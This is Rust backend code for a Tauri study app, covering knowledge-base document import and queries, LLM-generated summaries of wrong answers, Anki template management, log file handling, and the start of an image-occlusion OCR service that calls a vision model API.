if !path.is_file() {
println!("❌ 路径不是文件: {} (原路径: {})", normalized_path, file_path);
return Err(AppError::file_system(format!("指定路径不是文件: {} (原路径: {})", normalized_path, file_path)));
}
// 立即读取文件内容，避免后续路径失效
let file_name = path.file_name()
.and_then(|name| name.to_str())
.unwrap_or("unknown")
.to_string();
println!("📚 立即读取文件内容: {}", file_name);
let content = match path.extension().and_then(|ext| ext.to_str()).unwrap_or("").to_lowercase().as_str() {
"txt" | "md" | "markdown" => {
// 文本文件直接读取
match std::fs::read_to_string(&normalized_path) {
Ok(content) => content,
Err(e) => {
println!("❌ 读取文本文件失败: {} - {}", file_name, e);
return Err(AppError::file_system(format!("读取文本文件失败: {} - {}", file_name, e)));
}
}
}
"pdf" | "docx" => {
// 二进制文件读取为base64
match std::fs::read(&normalized_path) {
Ok(bytes) => {
use base64::{Engine as _, engine::general_purpose};
general_purpose::STANDARD.encode(&bytes)
}
Err(e) => {
println!("❌ 读取二进制文件失败: {} - {}", file_name, e);
return Err(AppError::file_system(format!("读取二进制文件失败: {} - {}", file_name, e)));
}
}
}
_ => {
println!("❌ 不支持的文件类型: {}", file_name);
return Err(AppError::validation(format!("不支持的文件类型: {}", file_name)));
}
};
println!("✅ 文件内容读取成功: {} ({} 字符)", file_name, content.len());
document_contents.push(serde_json::json!({
"fileName": file_name,
"content": content
}));
}
if document_contents.is_empty() {
return Err(AppError::validation("文件内容列表不能为空"));
}
// 需要创建支持分库的内容上传方法
let result = if let Some(sub_library_id) = request.sub_library_id {
// 向指定分库添加
state.rag_manager.add_documents_from_content_to_library(document_contents, window, Some(sub_library_id)).await?
} else {
// 添加到默认分库
state.rag_manager.add_documents_from_content(document_contents, window).await?
};
Ok(result)
}
/// 从Base64内容向指定分库添加文档
#[tauri::command]
pub async fn rag_add_documents_from_content_to_library(
request: RagAddDocumentsFromContentRequest,
window: Window,
state: State<'_, AppState>,
) -> Result<String> {
let target_library = request.sub_library_id.as_deref();
println!("📄 从内容向分库添加文档: {:?}, 文档数: {}", target_library, request.documents.len());
// 转换请求格式
let documents: Vec<serde_json::Value> = request.documents.into_iter().map(|doc| {
serde_json::json!({
"fileName": doc.file_name,
"content": doc.base64_content
})
}).collect();
let result = state.rag_manager.add_documents_from_content_to_library(documents, window, request.sub_library_id).await?;
Ok(result)
}
/// 获取指定分库的文档列表
#[tauri::command]
pub async fn get_rag_documents_by_library(
request: GetDocumentsRequest,
state: State<'_, AppState>,
) -> Result<Vec<serde_json::Value>> {
let library_id = request.sub_library_id.as_deref().unwrap_or("default");
println!("📑 获取分库文档列表: {}", library_id);
let documents = state.database.get_documents_by_sub_library(
library_id,
request.page,
request.page_size
).map_err(|e| AppError::database(format!("获取文档列表失败: {}", e)))?;
println!("✅ 获取到 {} 个文档", documents.len());
Ok(documents)
}
/// 将文档移动到指定分库
#[tauri::command]
pub async fn move_document_to_rag_library(
documentId: String,
targetLibraryId: String,
state: State<'_, AppState>,
) -> Result<()> {
println!("📦 移动文档到分库: {} -> {}", documentId, targetLibraryId);
state.database.move_document_to_sub_library(&documentId, &targetLibraryId)
.map_err(|e| AppError::database(format!("移动文档失败: {}", e)))?;
println!("✅ 文档移动成功");
Ok(())
}
/// 在指定分库中查询知识库
#[tauri::command]
pub async fn rag_query_knowledge_base_in_libraries(
query: String,
options: RagQueryOptionsWithLibraries,
state: State<'_, AppState>,
) -> Result<RagQueryResponse> {
println!("🔍 在指定分库中查询: '{}', 分库: {:?}", query, options.target_sub_library_ids);
let rag_options = RagQueryOptions {
top_k: options.top_k,
enable_reranking: options.enable_reranking,
};
let response = state.rag_manager.query_knowledge_base_in_libraries(
&query,
rag_options,
options.target_sub_library_ids
).await?;
println!("✅ 查询完成，返回 {} 个结果", response.retrieved_chunks.len());
Ok(response)
}
// ============================================================================
// 文档解析相关命令
// ============================================================================
/// 从文件路径解析文档文本
#[tauri::command]
pub async fn parse_document_from_path(
file_path: String,
) -> std::result::Result<String, String> {
println!("🔍 开始解析文档: {}", file_path);
let parser = crate::document_parser::DocumentParser::new();
match parser.extract_text_from_path(&file_path) {
Ok(text) => {
println!("✅ 文档解析成功，提取文本长度: {} 字符", text.len());
Ok(text)
}
Err(err) => {
let error_msg = format!("文档解析失败: {}", err);
println!("❌ {}", error_msg);
Err(error_msg)
}
}
}
/// 从Base64编码内容解析文档文本
#[tauri::command]
pub async fn parse_document_from_base64(
file_name: String,
base64_content: String,
) -> std::result::Result<String, String> {
println!("🔍 开始解析Base64文档: {}", file_name);
let parser = crate::document_parser::DocumentParser::new();
match parser.extract_text_from_base64(&file_name, &base64_content) {
Ok(text) => {
println!("✅ Base64文档解析成功，提取文本长度: {} 字符", text.len());
Ok(text)
}
Err(err) => {
let error_msg = format!("Base64文档解析失败: {}", err);
println!("❌ {}", error_msg);
Err(error_msg)
}
}
}
/// 生成错题总结 - 使用第二模型基于聊天记录生成结构化总结
#[tauri::command]
pub async fn generate_mistake_summary(
request: GenerateMistakeSummaryRequest,
state: State<'_, AppState>,
) -> Result<GenerateMistakeSummaryResponse> {
println!("🧠 开始生成错题总结: {}", request.mistake_id);
// 从数据库获取错题详情
let mistake = match state.database.get_mistake_by_id(&request.mistake_id)? {
Some(mistake) => mistake,
None => {
return Ok(GenerateMistakeSummaryResponse {
success: false,
mistake_summary: None,
user_error_analysis: None,
error_message: Some("错题不存在".to_string()),
});
}
};
// 检查是否需要重新生成
if !request.force_regenerate.unwrap_or(false) {
if mistake.mistake_summary.is_some() && mistake.user_error_analysis.is_some() {
return Ok(GenerateMistakeSummaryResponse {
success: true,
mistake_summary: mistake.mistake_summary.clone(),
user_error_analysis: mistake.user_error_analysis.clone(),
error_message: None,
});
}
}
// 验证聊天记录存在且非空
if mistake.chat_history.is_empty() {
return Ok(GenerateMistakeSummaryResponse {
success: false,
mistake_summary: None,
user_error_analysis: None,
error_message: Some("没有聊天记录，无法生成总结".to_string()),
});
}
// 获取模型配置
let model_assignments = state.llm_manager.get_model_assignments().await
.map_err(|e| AppError::configuration(format!("获取模型分配失败: {}", e)))?;
// 关键修改：优先使用专门的总结模型，如果未配置，则回退到模型二
let model_config_id = model_assignments.summary_model_config_id
.or(model_assignments.model2_config_id) // 如果总结模型为空，则使用模型二
.ok_or_else(|| AppError::configuration("没有为总结或分析配置任何可用模型"))?;
// 获取具体模型配置
let model_configs = match state.llm_manager.get_api_configs().await {
Ok(configs) => configs,
Err(e) => {
return Ok(GenerateMistakeSummaryResponse {
success: false,
mistake_summary: None,
user_error_analysis: None,
error_message: Some(format!("获取API配置失败: {}", e)),
});
}
};
let model_config = model_configs.iter()
.find(|config| config.id == model_config_id)
.ok_or_else(|| AppError::configuration("第二模型配置不存在"))?;
// 构建总结生成提示词
let summary_prompt = build_summary_generation_prompt(&mistake);
// 准备统一模型2的调用参数
let mut context = std::collections::HashMap::new();
context.insert("task".to_string(), serde_json::Value::String("mistake_summary".to_string()));
context.insert("prompt".to_string(), serde_json::Value::String(summary_prompt));
// 调用第二模型生成总结
match state.llm_manager.call_unified_model_2(&context, &[], &mistake.subject, false, None, Some("mistake_summary_generation")).await {
Ok(response) => {
// 解析AI回复，提取两个字段
let (mistake_summary, user_error_analysis) = parse_summary_response(&response.assistant_message);
// 🎯 修复BUG-02：更新数据库并设置状态为已完成
let mut updated_mistake = mistake.clone();
updated_mistake.mistake_summary = Some(mistake_summary.clone());
updated_mistake.user_error_analysis = Some(user_error_analysis.clone());
updated_mistake.status = "completed".to_string(); // 🎯 修复：生成总结后将状态设为已完成
updated_mistake.updated_at = Utc::now();
if let Err(e) = state.database.save_mistake(&updated_mistake) {
println!("⚠️ 保存错题总结失败: {}", e);
return Ok(GenerateMistakeSummaryResponse {
success: false,
mistake_summary: None,
user_error_analysis: None,
error_message: Some(format!("保存总结失败: {}", e)),
});
}
println!("✅ 错题总结生成成功");
Ok(GenerateMistakeSummaryResponse {
success: true,
mistake_summary: Some(mistake_summary),
user_error_analysis: Some(user_error_analysis),
error_message: None,
})
}
Err(e) => {
println!("❌ 总结生成失败: {}", e);
Ok(GenerateMistakeSummaryResponse {
success: false,
mistake_summary: None,
user_error_analysis: None,
error_message: Some(format!("AI生成失败: {}", e)),
})
}
}
}
/// 构建总结生成提示词
fn build_summary_generation_prompt(mistake: &MistakeItem) -> String {
let mut prompt = String::new();
prompt.push_str("你是一个专业的教育分析专家。请基于以下错题信息和师生对话记录，生成两个结构化总结：\n\n");
// 题目信息
prompt.push_str(&format!("【题目信息】\n科目：{}\n题目内容：{}\n学生原始问题：{}\n\n",
mistake.subject, mistake.ocr_text, mistake.user_question));
// 聊天记录
prompt.push_str("【师生对话记录】\n");
for (i, message) in mistake.chat_history.iter().enumerate() {
let role_name = match message.role.as_str() {
"user" => "学生",
"assistant" => "老师",
_ => &message.role,
};
prompt.push_str(&format!("{}. {}: {}\n", i + 1, role_name, message.content));
}
prompt.push_str("\n请基于以上信息，生成以下两个总结（用===分隔）：\n\n");
prompt.push_str("【错题简要解析】\n");
prompt.push_str("简要描述题目要点、正确解法和涉及的关键知识点，150字以内。\n\n");
prompt.push_str("===\n\n");
prompt.push_str("【用户错误分析】\n");
prompt.push_str("总结学生在对话中暴露的错误原因、思维误区和薄弱点，150字以内。\n\n");
prompt.push_str("注意：请直接输出两个总结内容，不要包含其他解释性文字。");
prompt
}
/// 解析AI总结回复，提取两个字段
fn parse_summary_response(response: &str) -> (String, String) {
let parts: Vec<&str> = response.split("===").collect();
if parts.len() >= 2 {
let mistake_summary = parts[0].trim()
.lines()
.filter(|line| !line.trim().is_empty() && !line.contains("【错题简要解析】"))
.collect::<Vec<_>>()
.join("\n")
.trim()
.to_string();
let user_error_analysis = parts[1].trim()
.lines()
.filter(|line| !line.trim().is_empty() && !line.contains("【用户错误分析】"))
.collect::<Vec<_>>()
.join("\n")
.trim()
.to_string();
(mistake_summary, user_error_analysis)
} else {
// 解析失败，尝试简单分割
let fallback_summary = response.lines()
.take(3)
.collect::<Vec<_>>()
.join(" ")
.chars()
.take(150)
.collect();
let fallback_analysis = response.lines()
.skip(3)
.take(3)
.collect::<Vec<_>>()
.join(" ")
.chars()
.take(150)
.collect();
(fallback_summary, fallback_analysis)
}
}
// 自定义模板管理命令
/// 获取所有自定义模板
#[tauri::command]
pub async fn get_all_custom_templates(
state: State<'_, AppState>,
) -> Result<Vec<CustomAnkiTemplate>> {
let templates = state.database.get_all_custom_templates()
.map_err(|e| AppError::database(format!("获取模板列表失败: {}", e)))?;
Ok(templates)
}
/// 获取指定ID的自定义模板
#[tauri::command]
pub async fn get_custom_template_by_id(
template_id: String,
state: State<'_, AppState>,
) -> Result<Option<CustomAnkiTemplate>> {
let template = state.database.get_custom_template_by_id(&template_id)
.map_err(|e| AppError::database(format!("获取模板失败: {}", e)))?;
Ok(template)
}
/// 创建自定义模板
#[tauri::command]
pub async fn create_custom_template(
request: CreateTemplateRequest,
state: State<'_, AppState>,
) -> Result<String> {
// 验证模板数据
validate_template_request(&request)?;
let template_id = state.database.create_custom_template(&request)
.map_err(|e| AppError::database(format!("创建模板失败: {}", e)))?;
Ok(template_id)
}
/// 更新自定义模板
#[tauri::command]
pub async fn update_custom_template(
template_id: String,
request: UpdateTemplateRequest,
state: State<'_, AppState>,
) -> Result<()> {
// 验证模板是否存在且不是内置模板
let existing_template = state.database.get_custom_template_by_id(&template_id)
.map_err(|e| AppError::database(format!("查询模板失败: {}", e)))?;
match existing_template {
Some(template) => {
if template.is_built_in {
return Err(AppError::validation("不能修改内置模板".to_string()));
}
},
None => {
return Err(AppError::validation("模板不存在".to_string()));
}
}
state.database.update_custom_template(&template_id, &request)
.map_err(|e| AppError::database(format!("更新模板失败: {}", e)))?;
Ok(())
}
/// 删除自定义模板
#[tauri::command]
pub async fn delete_custom_template(
template_id: String,
state: State<'_, AppState>,
) -> Result<()> {
// 验证模板是否存在且不是内置模板
let existing_template = state.database.get_custom_template_by_id(&template_id)
.map_err(|e| AppError::database(format!("查询模板失败: {}", e)))?;
match existing_template {
Some(template) => {
if template.is_built_in {
return Err(AppError::validation("不能删除内置模板".to_string()));
}
},
None => {
return Err(AppError::validation("模板不存在".to_string()));
}
}
state.database.delete_custom_template(&template_id)
.map_err(|e| AppError::database(format!("删除模板失败: {}", e)))?;
Ok(())
}
/// 导出模板
#[tauri::command]
pub async fn export_template(
template_id: String,
state: State<'_, AppState>,
) -> Result<TemplateExportResponse> {
let template = state.database.get_custom_template_by_id(&template_id)
.map_err(|e| AppError::database(format!("查询模板失败: {}", e)))?;
match template {
Some(template) => {
let template_data = serde_json::to_string_pretty(&template)
.map_err(|e| AppError::validation(format!("序列化模板失败: {}", e)))?;
let filename = format!("{}_template.json", template.name.replace(" ", "_"));
Ok(TemplateExportResponse {
template_data,
filename,
})
},
None => Err(AppError::validation("模板不存在".to_string())),
}
}
/// 导入模板
#[tauri::command]
pub async fn import_template(
request: TemplateImportRequest,
state: State<'_, AppState>,
) -> Result<String> {
// 解析模板数据
let template: CustomAnkiTemplate = serde_json::from_str(&request.template_data)
.map_err(|e| AppError::validation(format!("解析模板数据失败: {}", e)))?;
// 检查是否已存在同名模板
let existing_templates = state.database.get_all_custom_templates()
.map_err(|e| AppError::database(format!("查询现有模板失败: {}", e)))?;
if existing_templates.iter().any(|t| t.name == template.name) {
if !request.overwrite_existing {
return Err(AppError::validation(format!("模板 '{}' 已存在", template.name)));
}
// 找到同名模板并删除（如果不是内置模板）
if let Some(existing) = existing_templates.iter().find(|t| t.name == template.name) {
if existing.is_built_in {
return Err(AppError::validation("不能覆盖内置模板".to_string()));
}
state.database.delete_custom_template(&existing.id)
.map_err(|e| AppError::database(format!("删除旧模板失败: {}", e)))?;
}
}
// 创建新模板
let create_request = CreateTemplateRequest {
name: template.name,
description: template.description,
author: template.author,
preview_front: template.preview_front,
preview_back: template.preview_back,
note_type: template.note_type,
fields: template.fields,
generation_prompt: template.generation_prompt,
front_template: template.front_template,
back_template: template.back_template,
css_style: template.css_style,
field_extraction_rules: template.field_extraction_rules,
};
validate_template_request(&create_request)?;
let template_id = state.database.create_custom_template(&create_request)
.map_err(|e| AppError::database(format!("导入模板失败: {}", e)))?;
Ok(template_id)
}
/// 验证模板请求数据
fn validate_template_request(request: &CreateTemplateRequest) -> Result<()> {
// 验证基本字段
if request.name.trim().is_empty() {
return Err(AppError::validation("模板名称不能为空".to_string()));
}
if request.fields.is_empty() {
return Err(AppError::validation("模板必须至少包含一个字段".to_string()));
}
// 验证必须包含 front 和 back 字段
let has_front = request.fields.iter().any(|f| f.to_lowercase() == "front");
let has_back = request.fields.iter().any(|f| f.to_lowercase() == "back");
if !has_front {
return Err(AppError::validation("模板必须包含 'Front' 字段".to_string()));
}
if !has_back {
return Err(AppError::validation("模板必须包含 'Back' 字段".to_string()));
}
// 验证模板语法
if request.front_template.trim().is_empty() {
return Err(AppError::validation("正面模板不能为空".to_string()));
}
if request.back_template.trim().is_empty() {
return Err(AppError::validation("背面模板不能为空".to_string()));
}
if request.generation_prompt.trim().is_empty() {
return Err(AppError::validation("生成提示词不能为空".to_string()));
}
// 验证字段提取规则
for field in &request.fields {
if !request.field_extraction_rules.contains_key(field) {
return Err(AppError::validation(format!("缺少字段 '{}' 的提取规则", field)));
}
}
Ok(())
}
// =================== 图片遮罩卡相关命令 ===================
/// 图片文字坐标识别
#[tauri::command]
pub async fn extract_image_text_coordinates(
request: ImageOcrRequest,
state: tauri::State<'_, AppState>,
) -> Result<ImageOcrResponse> {
Ok(state.image_occlusion_service.extract_text_coordinates(request).await?)
}
/// 创建图片遮罩卡
#[tauri::command]
pub async fn create_image_occlusion_card(
request: CreateImageOcclusionRequest,
state: tauri::State<'_, AppState>,
) -> Result<ImageOcclusionResponse> {
Ok(state.image_occlusion_service.create_image_occlusion_card(request).await?)
}
/// 获取所有图片遮罩卡
#[tauri::command]
pub async fn get_all_image_occlusion_cards(
state: tauri::State<'_, AppState>,
) -> Result<Vec<ImageOcclusionCard>> {
Ok(state.image_occlusion_service.get_all_image_occlusion_cards()?)
}
/// 根据ID获取图片遮罩卡
#[tauri::command]
pub async fn get_image_occlusion_card(
card_id: String,
state: tauri::State<'_, AppState>,
) -> Result<Option<ImageOcclusionCard>> {
Ok(state.image_occlusion_service.get_image_occlusion_card(&card_id)?)
}
/// 更新图片遮罩卡
#[tauri::command]
pub async fn update_image_occlusion_card(
card: ImageOcclusionCard,
state: tauri::State<'_, AppState>,
) -> Result<()> {
Ok(state.image_occlusion_service.update_image_occlusion_card(&card)?)
}
/// 删除图片遮罩卡
#[tauri::command]
pub async fn delete_image_occlusion_card(
card_id: String,
state: tauri::State<'_, AppState>,
) -> Result<()> {
Ok(state.image_occlusion_service.delete_image_occlusion_card(&card_id)?)
}
/// 设置默认模板
#[tauri::command]
pub async fn set_default_template(
template_id: String,
state: tauri::State<'_, AppState>,
) -> Result<()> {
Ok(state.database.set_default_template(&template_id)?)
}
/// 获取默认模板ID
#[tauri::command]
pub async fn get_default_template_id(
state: tauri::State<'_, AppState>,
) -> Result<Option<String>> {
Ok(state.database.get_default_template()?)
}
// ============= 测试日志相关命令 =============
/// 保存测试日志到文件
#[tauri::command]
pub async fn save_test_log(
file_name: String,
content: String,
log_type: String,
state: tauri::State<'_, AppState>,
) -> Result<()> {
use std::fs;
use std::path::PathBuf;
// 创建日志目录路径
let mut log_dir = state.file_manager.get_app_data_dir().to_path_buf();
log_dir.push("logs");
log_dir.push(&log_type);
// 确保目录存在
if let Err(e) = fs::create_dir_all(&log_dir) {
return Err(AppError::file_system(format!("创建日志目录失败: {}", e)));
}
// 构建完整文件路径
let file_path = log_dir.join(&file_name);
// 写入日志文件
if let Err(e) = fs::write(&file_path, content) {
return Err(AppError::file_system(format!("写入日志文件失败: {}", e)));
}
println!("测试日志已保存: {:?}", file_path);
Ok(())
}
/// 获取测试日志列表
#[tauri::command]
pub async fn get_test_logs(
log_type: String,
state: tauri::State<'_, AppState>,
) -> Result<Vec<String>> {
use std::fs;
let mut log_dir = state.file_manager.get_app_data_dir().to_path_buf();
log_dir.push("logs");
log_dir.push(&log_type);
if !log_dir.exists() {
return Ok(vec![]);
}
let mut log_files = Vec::new();
if let Ok(entries) = fs::read_dir(&log_dir) {
for entry in entries {
if let Ok(entry) = entry {
let path = entry.path();
if path.is_file() && path.extension().map_or(false, |ext| ext == "log") {
if let Some(file_name) = path.file_name() {
if let Some(file_name_str) = file_name.to_str() {
let relative_path = format!("logs/{}/{}", log_type, file_name_str);
log_files.push(relative_path);
}
}
}
}
}
}
// 按修改时间排序（最新的在前）
log_files.sort_by(|a, b| {
let path_a = state.file_manager.get_app_data_dir().join(a);
let path_b = state.file_manager.get_app_data_dir().join(b);
let time_a = path_a.metadata().and_then(|m| m.modified()).unwrap_or(std::time::UNIX_EPOCH);
let time_b = path_b.metadata().and_then(|m| m.modified()).unwrap_or(std::time::UNIX_EPOCH);
time_b.cmp(&time_a) // 降序
});
Ok(log_files)
}
/// 打开指定的日志文件
#[tauri::command]
pub async fn open_log_file(
log_path: String,
state: tauri::State<'_, AppState>,
) -> Result<()> {
use std::process::Command;
let full_path = state.file_manager.get_app_data_dir().join(&log_path);
if !full_path.exists() {
return Err(AppError::not_found(format!("日志文件不存在: {}", log_path)));
}
// 根据操作系统选择合适的命令打开文件
#[cfg(target_os = "windows")]
{
if let Err(e) = Command::new("notepad").arg(&full_path).spawn() {
// 如果notepad失败，尝试默认程序
if let Err(e2) = Command::new("cmd").args(&["/C", "start", "", full_path.to_str().unwrap_or("")]).spawn() {
return Err(AppError::file_system(format!("打开日志文件失败: {} (备用方案也失败: {})", e, e2)));
}
}
}
#[cfg(target_os = "macos")]
{
if let Err(e) = Command::new("open").arg(&full_path).spawn() {
return Err(AppError::file_system(format!("打开日志文件失败: {}", e)));
}
}
#[cfg(target_os = "linux")]
{
if let Err(e) = Command::new("xdg-open").arg(&full_path).spawn() {
return Err(AppError::file_system(format!("打开日志文件失败: {}", e)));
}
}
Ok(())
}
/// 打开日志文件夹
#[tauri::command]
pub async fn open_logs_folder(
log_type: String,
state: tauri::State<'_, AppState>,
) -> Result<()> {
use std::process::Command;
let mut log_dir = state.file_manager.get_app_data_dir().to_path_buf();
log_dir.push("logs");
log_dir.push(&log_type);
// 确保目录存在
if let Err(_) = std::fs::create_dir_all(&log_dir) {
return Err(AppError::file_system("创建日志目录失败".to_string()));
}
// 根据操作系统选择合适的命令打开文件夹
#[cfg(target_os = "windows")]
{
if let Err(e) = Command::new("explorer").arg(&log_dir).spawn() {
return Err(AppError::file_system(format!("打开日志文件夹失败: {}", e)));
}
}
#[cfg(target_os = "macos")]
{
if let Err(e) = Command::new("open").arg(&log_dir).spawn() {
return Err(AppError::file_system(format!("打开日志文件夹失败: {}", e)));
}
}
#[cfg(target_os = "linux")]
{
if let Err(e) = Command::new("xdg-open").arg(&log_dir).spawn() {
return Err(AppError::file_system(format!("打开日志文件夹失败: {}", e)));
}
}
Ok(())
}
|
000haoji/deep-student
| 16,820 |
src-tauri/src/image_occlusion_service.rs
|
use crate::models::{
ImageOcrRequest, ImageOcrResponse, TextRegion, CreateImageOcclusionRequest,
ImageOcclusionResponse, ImageOcclusionCard, OcclusionMask, MaskStyle, AppError
};
use crate::llm_manager::{LLMManager, ApiConfig};
use crate::database::Database;
use std::sync::Arc;
use uuid::Uuid;
use chrono::Utc;
use base64::{Engine as _, engine::general_purpose};
use std::io::Cursor;
use image::{ImageFormat, DynamicImage};
use serde_json::{json, Value};
#[derive(Clone)]
pub struct ImageOcclusionService {
db: Arc<Database>,
llm_manager: Arc<LLMManager>,
}
impl ImageOcclusionService {
pub fn new(db: Arc<Database>, llm_manager: Arc<LLMManager>) -> Self {
Self {
db,
llm_manager,
}
}
/// 检测Base64编码图像的真实格式
fn detect_image_format_from_base64(base64_data: &str) -> &'static str {
// 解码Base64获取前几个字节来判断格式
if let Ok(decoded) = general_purpose::STANDARD.decode(base64_data.get(..100).unwrap_or(base64_data)) {
Self::detect_image_format_from_bytes(&decoded)
} else {
"jpeg" // 默认格式
}
}
/// 根据图像字节数据检测格式
fn detect_image_format_from_bytes(image_data: &[u8]) -> &'static str {
if image_data.len() < 4 {
return "jpeg"; // 默认格式
}
// JPEG: FF D8 FF
if image_data.starts_with(&[0xFF, 0xD8, 0xFF]) {
"jpeg"
}
// PNG: 89 50 4E 47 0D 0A 1A 0A
else if image_data.starts_with(&[0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]) {
"png"
}
// GIF: 47 49 46 38 (GIF8)
else if image_data.starts_with(&[0x47, 0x49, 0x46, 0x38]) {
"gif"
}
// WebP: 52 49 46 46 ... 57 45 42 50 (RIFF...WEBP)
else if image_data.len() >= 12 &&
image_data.starts_with(&[0x52, 0x49, 0x46, 0x46]) &&
&image_data[8..12] == &[0x57, 0x45, 0x42, 0x50] {
"webp"
}
// BMP: 42 4D (BM)
else if image_data.starts_with(&[0x42, 0x4D]) {
"bmp"
}
else {
"jpeg" // 默认格式
}
}
/// 使用qwen2.5vl进行图片文字坐标识别
pub async fn extract_text_coordinates(&self, request: ImageOcrRequest) -> Result<ImageOcrResponse, AppError> {
eprintln!("🔍 开始OCR识别 - 高分辨率模式: {}", request.vl_high_resolution_images);
// 获取模型分配配置
let model_assignments = self.llm_manager.get_model_assignments().await
.map_err(|e| AppError::configuration(format!("获取模型分配失败: {}", e)))?;
// 获取第一模型配置（qwen2.5vl）
let model1_config_id = model_assignments.model1_config_id
.ok_or_else(|| AppError::configuration("第一模型在模型分配中未配置"))?;
let api_configs = self.llm_manager.get_api_configs().await
.map_err(|e| AppError::configuration(format!("获取API配置失败: {}", e)))?;
let api_config = api_configs.into_iter()
.find(|config| config.id == model1_config_id && config.enabled)
.ok_or_else(|| AppError::configuration("找不到有效的qwen2.5vl模型配置"))?;
// 解码图片获取尺寸
let (image_width, image_height) = self.get_image_dimensions(&request.image_base64)?;
// 构建提示词
let prompt = self.build_ocr_prompt(&request)?;
// 调用qwen2.5vl进行识别
let text_regions = self.call_vision_model(&api_config, &request.image_base64, &prompt, request.vl_high_resolution_images).await?;
// 提取完整文本
let full_text = text_regions.iter()
.map(|region| region.text.clone())
.collect::<Vec<_>>()
.join(" ");
Ok(ImageOcrResponse {
success: true,
text_regions,
full_text,
image_width,
image_height,
error_message: None,
})
}
/// 创建图片遮罩卡
pub async fn create_image_occlusion_card(&self, request: CreateImageOcclusionRequest) -> Result<ImageOcclusionResponse, AppError> {
// 首先进行OCR识别获取文字区域
let ocr_request = ImageOcrRequest {
image_base64: request.image_base64.clone(),
extract_coordinates: true,
target_text: None,
vl_high_resolution_images: request.use_high_resolution,
};
let ocr_response = self.extract_text_coordinates(ocr_request).await?;
// 根据用户选择的区域创建遮罩
let mut masks = Vec::new();
for region_id in &request.selected_regions {
if let Some(region) = ocr_response.text_regions.iter().find(|r| r.region_id == *region_id) {
let mask = OcclusionMask {
mask_id: Uuid::new_v4().to_string(),
bbox: region.bbox,
original_text: region.text.clone(),
hint: None,
mask_style: request.mask_style.clone(),
};
masks.push(mask);
}
}
// 保存图片到本地（可选）
let image_path = self.save_image(&request.image_base64)?;
// 创建图片遮罩卡
let now = Utc::now().to_rfc3339();
let card = ImageOcclusionCard {
id: Uuid::new_v4().to_string(),
task_id: Uuid::new_v4().to_string(), // 可以关联到具体任务
image_path,
image_base64: Some(request.image_base64),
image_width: ocr_response.image_width,
image_height: ocr_response.image_height,
masks,
title: request.title,
description: request.description,
tags: request.tags,
created_at: now.clone(),
updated_at: now,
subject: request.subject,
};
// 保存到数据库
self.save_card_to_database(&card)?;
Ok(ImageOcclusionResponse {
success: true,
card: Some(card),
error_message: None,
})
}
/// 构建OCR识别提示词
fn build_ocr_prompt(&self, request: &ImageOcrRequest) -> Result<String, AppError> {
let base_prompt = if request.extract_coordinates {
r#"请分析这张图片，识别图片中的所有文字内容，并提供每个文字区域的精确坐标位置。
要求：
1. 识别图片中的所有可见文字
2. 为每个文字区域提供边界框坐标
3. 坐标格式为 [x1, y1, x2, y2]，其中(x1,y1)是左上角，(x2,y2)是右下角
4. 坐标值使用相对于图片的像素位置
5. 提供识别置信度
请以JSON格式返回结果：
{
"text_regions": [
{
"text": "识别到的文字",
"bbox": [x1, y1, x2, y2],
"confidence": 0.95
}
]
}
请确保返回的坐标准确，这将用于制作交互式学习卡片。"#
} else {
"请识别图片中的所有文字内容，以纯文本形式返回。"
};
let prompt = if let Some(target) = &request.target_text {
format!("{}\n\n特别注意：重点识别包含'{}'的文字区域。", base_prompt, target)
} else {
base_prompt.to_string()
};
Ok(prompt)
}
/// 调用视觉模型进行识别
async fn call_vision_model(&self, api_config: &ApiConfig, image_base64: &str, prompt: &str, vl_high_resolution_images: bool) -> Result<Vec<TextRegion>, AppError> {
// 🎯 优化：使用新的适配器架构
if api_config.model_adapter == "google" {
// 使用新的 Gemini 适配器
let message = crate::models::ChatMessage {
role: "user".to_string(),
content: prompt.to_string(),
timestamp: chrono::Utc::now(),
thinking_content: None,
rag_sources: None,
image_paths: None,
image_base64: Some(vec![image_base64.to_string()]),
};
let client = reqwest::Client::new();
let gemini_result = crate::gemini_adapter::non_stream_chat(
&client,
api_config,
&[message],
).await?;
// 解析 Gemini 响应
return self.parse_ocr_result(&gemini_result.assistant_message);
}
// 原有的 OpenAI 兼容逻辑
let client = reqwest::Client::new();
let model_name = api_config.model.to_lowercase();
// OpenAI / Qwen 格式
let url = format!("{}/chat/completions", api_config.base_url.trim_end_matches('/'));
// 检测图像格式并构建image URL
let image_format = Self::detect_image_format_from_base64(image_base64);
eprintln!("🖼️ OCR服务检测到图像格式: {}", image_format);
let image_url = format!("data:image/{};base64,{}", image_format, image_base64);
let mut body = json!({
"model": api_config.model,
"messages": [
{
"role": "user",
"content": [
{
"type": "text",
"text": prompt
},
{
"type": "image_url",
"image_url": {
"url": image_url
}
}
]
}
],
"max_tokens": api_config.max_output_tokens,
"temperature": api_config.temperature
});
if vl_high_resolution_images {
if let Some(obj) = body.as_object_mut() {
obj.insert("vl_high_resolution_images".to_string(), json!(true));
eprintln!("✅ 已添加高分辨率参数到API请求");
}
} else {
eprintln!("📍 使用标准分辨率模式");
}
let response = client.post(&url)
.header("Content-Type", "application/json")
.header("Authorization", format!("Bearer {}", api_config.api_key))
.json(&body)
.send()
.await
.map_err(|e| AppError::network(format!("视觉模型请求失败: {}", e)))?;
if !response.status().is_success() {
let status = response.status();
let error_text = response.text().await.unwrap_or_default();
eprintln!("❌ API请求失败: 状态码={}, 响应={}", status, error_text);
return Err(AppError::llm(format!("视觉模型API错误 (状态码: {}): {}", status, error_text)));
}
let response_json: Value = response.json().await
.map_err(|e| AppError::llm(format!("解析响应失败: {}", e)))?;
// 提取 OpenAI 格式的响应内容
let content = response_json["choices"][0]["message"]["content"]
.as_str()
.ok_or_else(|| AppError::llm("模型响应格式错误，无法提取content字段"))?;
// 解析JSON格式的识别结果
self.parse_ocr_result(content)
}
/// 解析OCR识别结果
fn parse_ocr_result(&self, content: &str) -> Result<Vec<TextRegion>, AppError> {
// 更强大的内容清理逻辑，处理多种AI响应格式
let cleaned_content = self.extract_json_from_ai_response(content)?;
// 解析JSON
let json_value: Value = serde_json::from_str(&cleaned_content)
.map_err(|e| AppError::validation(format!("解析OCR结果失败: {} - 清理后内容: {}", e, cleaned_content)))?;
// 提取text_regions数组
let regions_array = json_value["text_regions"]
.as_array()
.ok_or_else(|| AppError::validation("OCR结果中缺少text_regions字段"))?;
let mut text_regions = Vec::new();
for (index, region) in regions_array.iter().enumerate() {
let text = region["text"]
.as_str()
.ok_or_else(|| AppError::validation(format!("第{}个区域缺少text字段", index)))?
.to_string();
let bbox_array = region["bbox"]
.as_array()
